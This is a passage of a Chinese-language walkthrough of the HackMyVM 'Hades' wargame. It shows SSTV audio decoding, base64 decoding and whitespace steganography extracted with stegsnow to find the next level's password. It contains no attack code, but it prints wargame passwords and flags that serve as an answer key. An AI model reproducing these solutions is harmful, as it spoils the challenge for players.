| https://hackmyvm.eu/hades |
+===========================+
calypso@hades.hackmyvm.eu's password:
cassy.wav 100% 8522KB 709.6KB/s 00:12
|
然后尝试进行解码:
1
2
3
4
5
6
7
8
9
10
11
12
| ┌──(kali㉿kali)-[~/sstv-master]
└─$ sudo sstv -d ../temp/cassy.wav -o result.png
[sstv] Searching for calibration header... Found!
Traceback (most recent call last):
File "/usr/local/bin/sstv", line 33, in <module>
sys.exit(load_entry_point('sstv==0.1', 'console_scripts', 'sstv')())
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/sstv-0.1-py3.11.egg/sstv/__main__.py", line 18, in main
File "/usr/local/lib/python3.11/dist-packages/sstv-0.1-py3.11.egg/sstv/command.py", line 109, in start
File "/usr/local/lib/python3.11/dist-packages/sstv-0.1-py3.11.egg/sstv/decode.py", line 73, in decode
File "/usr/local/lib/python3.11/dist-packages/sstv-0.1-py3.11.egg/sstv/decode.py", line 182, in _decode_vis
ValueError: SSTV mode is unsupported (VIS: 99)
|
尝试切换脚本进行解码:https://github.com/windytan/slowrx
1
2
3
4
| sudo apt install libasound2-dev
sudo apt install libgtk-3-dev
sudo apt install libfftw3-dev
make
|
左上角选成Ensoniq AudioPCI
,然后播放音频即可,阔以得到目标图片: CKzlnvmHQz
20 cassandra
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| cassandra@hades:~$ ls -la
total 36
drwxr-x--- 2 root cassandra 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 cassandra cassandra 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 cassandra cassandra 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 cassandra cassandra 807 Apr 23 2023 .profile
-rw-r----- 1 root cassandra 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root cassandra 369 Apr 5 06:36 here.txt
-rw-r----- 1 root cassandra 147 Apr 5 06:36 mission.txt
cassandra@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^lntvcYNlazEljOyZYKz^
cassandra@hades:~$ cat mission.txt
################
# MISSION 0x20 #
################
## EN ##
User cassiopeia sees the invisible.
## ES ##
La usuaria cassiopeia ve lo invisible.
cassandra@hades:~$ cat here.txt
VGhlIHBhc3N3b3JkIG9mIGNhc3Npb3BlaWEgaXM6CSAgICAgIAkgICAgCSAgIAkgICAgIAkgICAg
CSAgICAKICAgCSAgICAJICAJICAgIAkgCSAgIAkgICAgICAgCSAgICAJICAgIAoJICAgICAgCQkg
CSAgIAkgICAJICAgIAkgICAgIAkgICAgIAkgIAogICAJIAkgICAgIAkgICAgICAJICAgIAkgICAg
ICAJICAJICAJIAkgICAKICAgCSAgICAgIAkgICAgCSAJICAgICAJICAgICAgCSAgICAJICAgCSAg
ICAgCgkgICAgCSAgICAJIAkgICAgICAJICAgICAJIAkgCSAgICAgICAJIAo=
hgbe02@pwn:~/temp$ echo 'VGhlIHBhc3N3b3JkIG9mIGNhc3Npb3BlaWEgaXM6CSAgICAgIAkgICAgCSAgIAkgICAgIAkgICAgCSAgICAKICAgCSAgICAJICAJICAgIAkgCSAgIAkgICAgICAgCSAgICAJICAgIAoJICAgICAgCQkgCSAgIAkgICAJICAgIAkgICAgIAkgICAgIAkgIAogICAJIAkgICAgIAkgICAgICAJICAgIAkgICAgICAJICAJICAJIAkgICAKICAgCSAgICAgIAkgICAgCSAJICAgICAJICAgICAgCSAgICAJICAgCSAgICAgCgkgICAgCSAgICAJIAkgICAgICAJICA
gICAJIAkgCSAgICAgICAJIAo=' | base64 -d
The password of cassiopeia is:
|
发现大量空白怀疑是进行了隐写,尝试提取:
1
2
3
4
5
6
7
8
9
10
11
| hgbe02@pwn:~/temp$ scp -P 6666 cassandra@hades.hackmyvm.eu:/pwned/cassandra/here.txt .
......
hgbe02@pwn:~/temp$ cat here.txt
VGhlIHBhc3N3b3JkIG9mIGNhc3Npb3BlaWEgaXM6CSAgICAgIAkgICAgCSAgIAkgICAgIAkgICAg
CSAgICAKICAgCSAgICAJICAJICAgIAkgCSAgIAkgICAgICAgCSAgICAJICAgIAoJICAgICAgCQkg
CSAgIAkgICAJICAgIAkgICAgIAkgICAgIAkgIAogICAJIAkgICAgIAkgICAgICAJICAgIAkgICAg
ICAJICAJICAJIAkgICAKICAgCSAgICAgIAkgICAgCSAJICAgICAJICAgICAgCSAgICAJICAgCSAg
ICAgCgkgICAgCSAgICAJIAkgICAgICAJICAgICAJIAkgCSAgICAgICAJIAo=
hgbe02@pwn:~/temp$ cat here.txt | base64 -d > here_flag
hgbe02@pwn:~/temp$ stegsnow here_flag
gRqFnHblmZVZSfegPLvO
|